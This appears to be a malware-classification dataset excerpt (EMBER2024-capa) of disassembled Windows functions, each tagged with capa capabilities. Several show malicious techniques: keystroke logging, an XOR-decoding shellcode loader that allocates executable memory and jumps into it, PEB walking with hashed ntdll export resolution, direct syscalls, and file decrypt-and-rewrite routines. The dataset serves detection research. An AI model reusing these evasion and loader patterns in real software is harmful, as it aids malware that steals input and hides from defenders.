joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003bc2
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x824
mov eax, dword [0x1002a034]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push ebp
mov ebp, dword [esp + 0x830]
lea eax, [esp + 0x428]
push esi
mov esi, dword [esp + 0x838]
xor ebx, ebx
push edi
mov edi, 0x400
push edi
push ebx
push eax
call fcn.10005d80
push esi
push ebx
push ebp
push 0xffffffffffffffff
lea eax, [esp + 0x44c]
push edi
push eax
call fcn.1000391a
movzx ecx, byte [esp + 0x853]
lea edi, [esp + 0x34]
xor edx, edx
test eax, eax
push 8
cmovs ecx, edx
xor eax, eax
mov byte [esp + 0x857], cl
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push 0x20
push eax
call fcn.1000391a
push 0x10021be8
lea eax, [esp + 0x40]
push 0x20
push eax
call fcn.1000391a
push 0x400
lea eax, [esp + 0x6c]
push ebx
push eax
call fcn.10005d80
mov ecx, ebp
add esp, 0x44
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003c67
sub ecx, edx
cmp ecx, 6
jbe 0x10003c8e
lea eax, [ebp - 6]
add eax, ecx
push str.__08x_
push eax
call fcn.1000391a
pop ecx
pop ecx
test eax, eax
jne 0x10003c8e
xor ebx, ebx
inc ebx
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10003c95
sub esi, ecx
lea eax, [esp + 0x430]
push eax
mov ecx, 0x10020533
test ebx, ebx
mov eax, str.Error:
cmove eax, ecx
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, esi
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4c]
add eax, esi
push eax
call fcn.1000391a
mov ecx, dword [esp + 0x44b]
test eax, eax
push esi
lea eax, [esp + 0x34]
mov edx, 0x2e2e2e
push eax
lea eax, [esp + 0x58]
cmovs ecx, edx
push eax
mov dword [esp + 0x457], ecx
call fcn.10005800
lea edi, [esp + 0x5c]
add esp, 0x2c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10003d0f
mov ax, word [0x10021c14]
mov word [edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x830]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10004926
add esp, 0x824
ret
Function at 0x10009e13
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10009e22
pop dword [ebp - 0xc]
mov eax, 0x1e9823f8
sub eax, 0xe9785d6
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xfefcb973
add dword [ebp - 0x1c], 0x4f558bd8
mov dword [ebp - 0x18], 0xc4d3312a
add dword [ebp - 0x18], 0x6d601b1b
mov dword [ebp - 0x14], 0xf30800fc
add dword [ebp - 0x14], 0x59444332
mov dword [ebp - 0x10], 0xb294c1f3
add dword [ebp - 0x10], 0x4d6b3e0d
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x855c1d40
sub eax, 0x7557cc3c
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x563c2db8
sub dword [ebp - 0x1c], 0xe1c9c462
mov dword [ebp - 0x18], 0xec5866ab
sub dword [ebp - 0x18], 0xaaec0536
mov dword [ebp - 0x14], 0xf26ccb5a
add dword [ebp - 0x14], 0x7102a112
mov dword [ebp - 0x10], 0x146143d6
add dword [ebp - 0x10], 0xeb9ebc2a
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x626048d7
add eax, 0xada407e1
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x4b895
push 0
call eax
mov ecx, 0xeb4a8ec8
sub ecx, 0xeb4a4244
xor edi, edi
add edi, eax
mov edx, 0x4287e252
sub edx, 0x32809252
add edx, dword [ebp - 0xc]
mov esi, 0x7142d687
sub esi, 0x83d08f6f
add dword [ebp - 4], 0xe60fbaeb
mov ebx, dword [edx]
add dword [ebp - 8], ebx
xor ebx, esi
mov dword [ebp - 8], 0x4d1fda73
mov dword [edi], ebx
add edi, 0x62f6098c
sub edi, 0x62f60988
add edx, 4
loop 0x10009f46
add eax, 0x124e3
xor ebx, ebx
add ebx, eax
add eax, 0xb2b88e23
sub eax, 0xb2b88e1e
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x44cf90
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5da8ff
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.00594db7
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x44d01b
push eax
push esi
call fcn.005951b4
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.00594f7e
int3
Function at 0x44e8f0
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
mov esi, edx
xorps xmm0, xmm0
push edi
mov dword [esp + 0x1c], esi
mov ebx, ecx
movlpd qword [esp + 0x20], xmm0
test byte [esi], 5
je 0x44e91d
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0xc
lea eax, [esi + 8]
mov ecx, esp
push eax
call fcn.0044fd90
mov ecx, ebx
call fcn.0044dca0
add esp, 0xc
test eax, eax
je 0x44eb0c
mov edx, str.___DecryptCallBackXORHandler_Handling_:
mov ecx, 0x669bb0
call fcn.00452190
mov edx, ebx
mov ecx, eax
call fcn.00452190
push eax
call fcn.00452430
add esp, 4
test byte [esi], 1
je 0x44e96e
xor edx, edx
mov ecx, ebx
call fcn.0044dba0
jmp 0x44e987
push 0
push 0x80
push 3
push 0
push 1
push 0x12019f
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x44eb0c
cmp edi, 0xffffffff
je 0x44eb0c
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x18], eax
lea ecx, [eax - 4]
mov dword [esp + 0xc], ecx
test ecx, ecx
je 0x44eb0c
push eax
call fcn.005addc1
add esp, 4
mov dword [esp + 0x10], eax
push dword [esp + 0xc]
call fcn.005addc1
add esp, 4
mov dword [esp + 0x14], eax
test byte [esi], 1
push 0
push 0
push dword [esp + 0x20]
push dword [esp + 0x1c]
je 0x44e9fa
lea eax, [esp + 0x30]
push eax
push 0
push 0
push 0
push edi
call fcn.00458a6d
add esp, 0x24
jmp 0x44ea01
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x10]
push dword [esp + 0xc]
mov esi, dword [eax]
add eax, 4
push eax
push dword [esp + 0x1c]
call fcn.005af570
add esp, 0xc
cmp esi, 0x2141515a
jne 0x44eb0c
mov edx, str.___Can_be_Decrypt_:
mov ecx, 0x669bb0
call fcn.00452190
mov edx, ebx
mov ecx, eax
call fcn.00452190
push eax
call fcn.00452430
add esp, 4
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x18]
call dword [ebp + 8]
mov esi, dword [esp + 0x24]
add esp, 8
mov dword [esp + 0x18], eax
cmp dword [esi + 4], 3
jne 0x44eaa1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [esi], 1
jne 0x44ea86
mov edx, 1
mov ecx, ebx
call fcn.0044dba0
jmp 0x44ea9f
push 0
push 0x80
push 1
push 0
push 1
push 0x12019f
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test byte [esi], 1
mov esi, dword [esp + 0x18]
push 0
push 0
push dword [esp + 0x14]
push esi
je 0x44ead6
lea eax, [esp + 0x30]
push eax
push 0
push 0
push 0
push edi
call fcn.00458a63
add esp, 0x24
jmp 0x44eadd
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.005addca
add esp, 4
push dword [esp + 0x10]
call fcn.005addca
add esp, 4
push dword [esp + 0x14]
call fcn.005addca
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x451b10
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5da9a0
push eax
mov dword fs:[0], esp
push esi
push edi
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.005addcf
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.005950b6
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.00452000
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x458070
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x666978], 0
push ebx
push esi
jne 0x4581fb
mov eax, dword fs:[0x30]
xor esi, esi
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
mov eax, dword [edx + 0x18]
test eax, eax
je 0x458206
nop
mov ebx, eax
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
test eax, eax
je 0x4580d3
mov ecx, dword [eax + ebx + 0xc]
lea esi, [eax + ebx]
mov eax, dword [ecx + ebx]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x4580d3
mov eax, dword [ecx + ebx + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x4580dc
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
test eax, eax
jne 0x4580a0
test esi, esi
je 0x458206
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x20]
add eax, ebx
mov dword [ebp - 0x10], eax
add ecx, 0xfffffffc
mov eax, dword [esi + 0x24]
add eax, ebx
push edi
mov edi, dword [esi + 0x18]
xor esi, esi
mov dword [ebp - 4], edi
lea eax, [eax + edi*2]
add eax, 0xfffffffe
mov dword [ebp - 8], eax
lea eax, [ecx + ebx]
mov ecx, dword [ebp - 8]
lea eax, [eax + edi*4]
mov dword [ebp - 0xc], eax
mov edx, dword [eax]
mov edi, 0x775a
add edx, ebx
cmp word [edx], di
mov edi, dword [ebp - 4]
jne 0x45816d
mov edi, 0x3c813886
nop dword [eax + eax]
movzx eax, word [edx]
lea edx, [edx + 1]
mov ecx, edi
ror ecx, 8
add ecx, eax
xor edi, ecx
cmp byte [edx], 0
jne 0x458130
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov dword [esi*8 + 0x66697c], edi
movzx eax, word [ecx]
mov eax, dword [edx + eax*4]
mov dword [esi*8 + 0x666980], eax
inc esi
cmp esi, 0x1f4
je 0x458181
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
dec edi
sub eax, 4
sub ecx, 2
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
test edi, edi
jne 0x458115
lea eax, [esi - 1]
mov dword [0x666978], esi
xor edi, edi
test eax, eax
je 0x4581fa
mov ecx, esi
xor eax, eax
sub ecx, edi
sub ecx, 1
je 0x4581f2
nop dword [eax + eax]
mov ecx, dword [eax*8 + 0x666980]
mov ebx, dword [eax*8 + 0x666988]
mov dword [ebp - 0x10], ecx
cmp ecx, ebx
jbe 0x4581e8
mov ecx, dword [eax*8 + 0x666984]
mov edx, dword [eax*8 + 0x66697c]
mov dword [eax*8 + 0x66697c], ecx
mov ecx, dword [ebp - 0x10]
mov dword [eax*8 + 0x666980], ebx
mov dword [eax*8 + 0x666984], edx
mov dword [eax*8 + 0x666988], ecx
mov esi, dword [0x666978]
mov ecx, esi
inc eax
sub ecx, edi
dec ecx
cmp eax, ecx
jb 0x4581a0
inc edi
lea eax, [esi - 1]
cmp edi, eax
jb 0x458190
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x458a30
Capabilities:
Execute syscall

Disassembly:
pop eax
call fcn.00458210
add esp, 4
mov ecx, dword fs:[0xc0]
test ecx, ecx
jne 0x458a4b
lea edx, [esp + 4]
int 0x2e
ret
xor ecx, ecx
lea edx, [esp + 4]
call dword fs:[0xc0]
ret
Function at 0x45ee50
Capabilities:
Encode data using base64

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
xor ebp, ebp
push esi
test eax, eax
je 0x45ee68
test byte [eax + 0x5c], 2
mov ebx, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._
jne 0x45ee6d
mov ebx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov esi, dword [esp + 0x1c]
test esi, esi
jle 0x45ef3d
mov edx, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x1c]
inc edi
movzx eax, byte [edi - 1]
cmp esi, 3
jb 0x45eed1
movzx ecx, byte [edi]
shl eax, 8
or eax, ecx
movzx ecx, byte [edi + 1]
shl eax, 8
or eax, ecx
mov ecx, eax
shr ecx, 0x12
movzx ecx, byte [ecx + ebx]
mov byte [edx], cl
mov ecx, eax
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + ebx]
mov byte [edx + 1], cl
mov ecx, eax
shr ecx, 6
and ecx, 0x3f
and eax, 0x3f
movzx ecx, byte [ecx + ebx]
mov byte [edx + 2], cl
mov cl, byte [eax + ebx]
lea eax, [edx + 3]
jmp 0x45ef1d
shl eax, 0x10
cmp esi, 2
jne 0x45eee1
movzx ecx, byte [edi]
shl ecx, 8
or eax, ecx
mov ecx, eax
shr ecx, 0x12
movzx ecx, byte [ecx + ebx]
mov byte [edx], cl
mov ecx, eax
shr ecx, 0xc
inc edx
and ecx, 0x3f
mov dword [esp + 0x18], edx
movzx ecx, byte [ecx + ebx]
mov byte [edx], cl
cmp esi, 1
jne 0x45ef08
mov al, 0x3d
jmp 0x45ef11
shr eax, 6
and eax, 0x3f
mov al, byte [eax + ebx]
mov byte [edx + 1], al
mov cl, 0x3d
mov eax, dword [esp + 0x18]
add eax, 2
sub esi, 3
mov byte [eax], cl
add ebp, 4
lea edx, [eax + 1]
add edi, 3
test esi, esi
jg 0x45ee83
pop edi
pop esi
mov eax, ebp
mov byte [edx], 0
pop ebp
pop ebx
ret
mov eax, dword [esp + 0x14]
pop esi
mov byte [eax], 0
mov eax, ebp
pop ebp
pop ebx
ret
Function at 0x469eb0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 8
call fcn.005ae090
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [esp + 0x2c]
push esi
mov esi, dword [esp + 0x20]
push edi
mov ebp, dword [ebp]
mov edi, dword [esp + 0x20]
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x469ef8
mov ecx, dword [esp + 0x30]
nop dword [eax]
test esi, esi
je 0x469ef8
mov al, byte [ecx + ebp]
dec esi
xor al, byte [ebx]
inc ebp
mov byte [edi], al
inc ebx
inc edi
and ebp, 0xf
mov dword [esp + 0x14], ebp
jne 0x469ee0
mov eax, dword [esp + 0x2c]
mov edx, dword [eax + 0xc]
bswap edx
mov dword [esp + 0x24], edx
cmp esi, 0x10
jb 0x469f94
mov ebp, eax
mov ecx, esi
shr ecx, 4
push ebp
push dword [esp + 0x2c]
lea eax, [ecx + edx]
neg edx
cmp eax, ecx
cmovae edx, ecx
mov dword [esp + 0x18], edx
xor edx, edx
push dword [esp + 0x18]
cmp eax, ecx
push edi
cmovae edx, eax
push ebx
mov dword [esp + 0x38], edx
call dword [esp + 0x4c]
mov edx, dword [esp + 0x38]
add esp, 0x14
mov eax, edx
bswap eax
mov dword [ebp + 0xc], eax
test edx, edx
jne 0x469f76
mov edx, 0xc
mov eax, 1
nop dword [eax]
movzx ecx, byte [edx + ebp - 1]
dec edx
add eax, ecx
mov byte [edx + ebp], al
shr eax, 8
test edx, edx
jne 0x469f60
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
shl eax, 4
sub esi, eax
add edi, eax
add ebx, eax
cmp esi, 0x10
jae 0x469f10
mov ebp, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x24], edx
test esi, esi
je 0x469ff2
mov ecx, dword [esp + 0x30]
xorps xmm0, xmm0
push eax
push dword [esp + 0x2c]
push 1
push ecx
push ecx
movups xmmword [ecx], xmm0
call dword [esp + 0x4c]
mov edx, dword [esp + 0x38]
add esp, 0x14
mov eax, dword [esp + 0x2c]
add edx, 1
bswap edx
mov dword [eax + 0xc], edx
jne 0x469fcd
push eax
call fcn.0046a030
add esp, 4
mov eax, dword [esp + 0x30]
sub ebx, eax
sub edi, eax
lea ecx, [eax + ebp]
add ebp, esi
nop word [eax + eax]
mov al, byte [ecx + ebx]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
mov byte [edi + ecx - 1], al
sub esi, 1
jne 0x469fe0
mov eax, dword [esp + 0x34]
pop edi
pop esi
mov dword [eax], ebp
pop ebp
pop ebx
add esp, 8
ret
Function at 0x46a060
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x14
call fcn.005ae090
mov eax, dword [esp + 0x2c]
push esi
mov esi, dword [eax]
test esi, esi
jns 0x46a080
mov dword [eax], 0xffffffff
pop esi
add esp, 0x14
ret
push ebx
mov ebx, dword [esp + 0x24]
push ebp
mov ebp, dword [esp + 0x24]
push edi
mov edi, dword [esp + 0x30]
test esi, esi
je 0x46a0ac
mov ecx, dword [esp + 0x38]
test edi, edi
je 0x46a0ac
mov al, byte [esi + ecx]
dec edi
xor al, byte [ebp]
inc esi
mov byte [ebx], al
inc ebp
inc ebx
and esi, 0xf
jne 0x46a097
mov edx, dword [esp + 0x40]
cmp edi, 0x10
jb 0x46a145
mov ecx, dword [esp + 0x38]
mov eax, ebx
sub eax, ecx
mov dword [esp + 0x14], eax
mov eax, ebp
sub eax, ecx
mov dword [esp + 0x18], eax
mov eax, edi
shr eax, 4
mov dword [esp + 0x10], eax
shl eax, 4
add ebx, eax
add ebp, eax
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x20], ebp
mov ebp, dword [esp + 0x18]
jmp 0x46a0f4
mov ecx, dword [esp + 0x38]
push dword [esp + 0x34]
push ecx
push ecx
call edx
add esp, 0xc
cmp esi, 0x10
jae 0x46a127
mov ecx, dword [esp + 0x38]
mov edx, 0xf
sub edx, esi
add ecx, esi
shr edx, 2
inc edx
mov eax, dword [ecx + ebp]
lea ecx, [ecx + 4]
xor eax, dword [ecx - 4]
mov dword [ebx + ecx - 4], eax
sub edx, 1
jne 0x46a115
mov edx, dword [esp + 0x40]
sub edi, 0x10
add ebx, 0x10
add ebp, 0x10
xor esi, esi
sub dword [esp + 0x10], 1
jne 0x46a0f0
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x20]
test edi, edi
je 0x46a177
push dword [esp + 0x34]
mov eax, dword [esp + 0x3c]
push eax
push eax
call edx
mov eax, dword [esp + 0x44]
add esp, 0xc
sub ebp, eax
sub ebx, eax
lea ecx, [esi + eax]
add esi, edi
mov al, byte [ecx + ebp]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
mov byte [ebx + ecx - 1], al
sub edi, 1
jne 0x46a165
mov eax, dword [esp + 0x3c]
pop edi
pop ebp
pop ebx
mov dword [eax], esi
pop esi
add esp, 0x14
ret
Function at 0x46a900
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.005ae090
push ebp
mov ebp, dword [esp + 0xc]
mov eax, dword [ebp + 0x38]
or eax, dword [ebp + 0x3c]
je 0x46a91f
mov eax, 0xfffffffe
pop ebp
pop ecx
ret
push esi
mov esi, dword [esp + 0x18]
xor ecx, ecx
mov eax, esi
add eax, dword [ebp + 0x30]
adc ecx, dword [ebp + 0x34]
cmp ecx, 0x20000000
ja 0x46a9f0
jb 0x46a944
test eax, eax
jne 0x46a9f0
push ebx
mov dword [ebp + 0x34], ecx
mov ecx, dword [ebp + 0x170]
mov dword [ebp + 0x30], eax
mov dword [esp + 0x14], ecx
push edi
mov edi, dword [esp + 0x1c]
test ecx, ecx
je 0x46a993
nop
test esi, esi
je 0x46a9e2
mov al, byte [edi]
dec esi
xor byte [ecx + ebp + 0x40], al
inc edi
inc ecx
and ecx, 0xf
mov dword [esp + 0x18], ecx
jne 0x46a960
lea eax, [ebp + 0x60]
push eax
mov eax, dword [ebp + 0x168]
lea ebx, [ebp + 0x40]
push ebx
call eax
mov eax, dword [esp + 0x20]
add esp, 8
mov dword [esp + 0x18], eax
jmp 0x46a996
lea ebx, [ebp + 0x40]
mov eax, esi
lea ecx, [ebp + 0x60]
and eax, 0xfffffff0
mov dword [esp + 0x10], eax
je 0x46a9bb
push eax
mov eax, dword [ebp + 0x164]
push edi
push ecx
push ebx
call eax
add edi, dword [esp + 0x20]
add esp, 0x10
sub esi, dword [esp + 0x10]
test esi, esi
je 0x46a9de
mov ecx, esi
mov al, byte [edi]
lea edi, [edi + 1]
xor byte [ebx], al
lea ebx, [ebx + 1]
sub esi, 1
jne 0x46a9c1
pop edi
pop ebx
pop esi
mov dword [ebp + 0x170], ecx
xor eax, eax
pop ebp
pop ecx
ret
mov ecx, dword [esp + 0x18]
pop edi
pop ebx
pop esi
mov dword [ebp + 0x170], ecx
xor eax, eax
pop ebp
pop ecx
ret
pop esi
or eax, 0xffffffff
pop ebp
pop ecx
ret
Function at 0x46b9b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
mov dword [esi + 0x30], 0
lea ebp, [esi + 0x40]
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x170], 0
mov dword [esi + 0x16c], 0
cmp ebx, 0xc
jne 0x46ba15
mov eax, dword [esp + 0x18]
lea edi, [ebx - 0xb]
movq xmm0, qword [eax]
movq qword [esi], xmm0
mov eax, dword [eax + 8]
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x1000000
jmp 0x46bb12
mov edi, dword [esp + 0x18]
lea edx, [esi + 0x60]
mov dword [ebp], 0
mov dword [ebp + 4], 0
mov dword [esi + 0x48], 0
mov dword [esp + 0x1c], ebx
mov dword [esi + 0x4c], 0
cmp ebx, 0x10
jb 0x46baad
mov eax, ebx
lea ecx, [esi + 0x41]
shr eax, 4
mov dword [esp + 0x14], eax
nop dword [eax]
lea edx, [edi + 2]
mov eax, ecx
mov ebp, 4
nop word [eax + eax]
movzx ecx, byte [edx - 2]
lea edx, [edx + 4]
xor byte [eax - 1], cl
lea eax, [eax + 4]
movzx ecx, byte [edx - 5]
xor byte [eax - 4], cl
movzx ecx, byte [edx - 4]
xor byte [eax - 3], cl
movzx ecx, byte [edx - 3]
xor byte [eax - 2], cl
sub ebp, 1
jne 0x46ba60
lea eax, [esi + 0x60]
push eax
mov eax, dword [esi + 0x168]
lea ebp, [esi + 0x40]
push ebp
call eax
add esp, 8
lea ecx, [esi + 0x41]
add edi, 0x10
sub ebx, 0x10
sub dword [esp + 0x14], 1
jne 0x46ba50
lea edx, [esi + 0x60]
test ebx, ebx
je 0x46bacf
mov ecx, ebp
mov al, byte [edi]
lea edi, [edi + 1]
xor byte [ecx], al
lea ecx, [ecx + 1]
sub ebx, 1
jne 0x46bab3
mov eax, dword [esi + 0x168]
push edx
push ebp
call eax
add esp, 8
mov eax, dword [esp + 0x1c]
xor ecx, ecx
shld ecx, eax, 3
shl eax, 3
bswap eax
xor dword [esi + 0x4c], eax
lea eax, [esi + 0x60]
push eax
mov eax, dword [esi + 0x168]
bswap ecx
xor dword [esi + 0x48], ecx
push ebp
call eax
mov edi, dword [esi + 0x4c]
add esp, 8
mov eax, dword [ebp]
mov ecx, dword [ebp + 4]
mov dword [esi], eax
mov dword [esi + 4], ecx
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + 0x4c]
mov dword [esi + 8], eax
bswap edi
mov dword [esi + 0xc], ecx
mov dword [ebp], 0
lea eax, [esi + 0x20]
mov dword [ebp + 4], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
push dword [esi + 0x178]
push eax
mov eax, dword [esi + 0x174]
push esi
call eax
add esp, 0xc
inc edi
bswap edi
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x46c0c0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xc
call fcn.005ae090
lea eax, [esp]
push eax
call fcn.0046bc90
mov eax, dword [esp + 8]
add esp, 4
test eax, eax
je 0x46c0e3
add esp, 0xc
jmp eax
push ebx
mov ebx, dword [esp + 0x20]
push esi
xor esi, esi
test ebx, ebx
je 0x46c122
push ebp
mov ebp, dword [esp + 0x24]
push edi
mov edi, dword [esp + 0x20]
nop dword [eax]
movups xmm1, xmmword [esi + ebp]
movups xmm0, xmmword [edi]
push dword [esp + 0x24]
xorps xmm0, xmm1
push edi
movups xmmword [edi], xmm0
call dword [esp + 0x20]
add esi, 0x10
add esp, 8
cmp esi, ebx
jb 0x46c100
pop edi
pop ebp
pop esi
pop ebx
add esp, 0xc
ret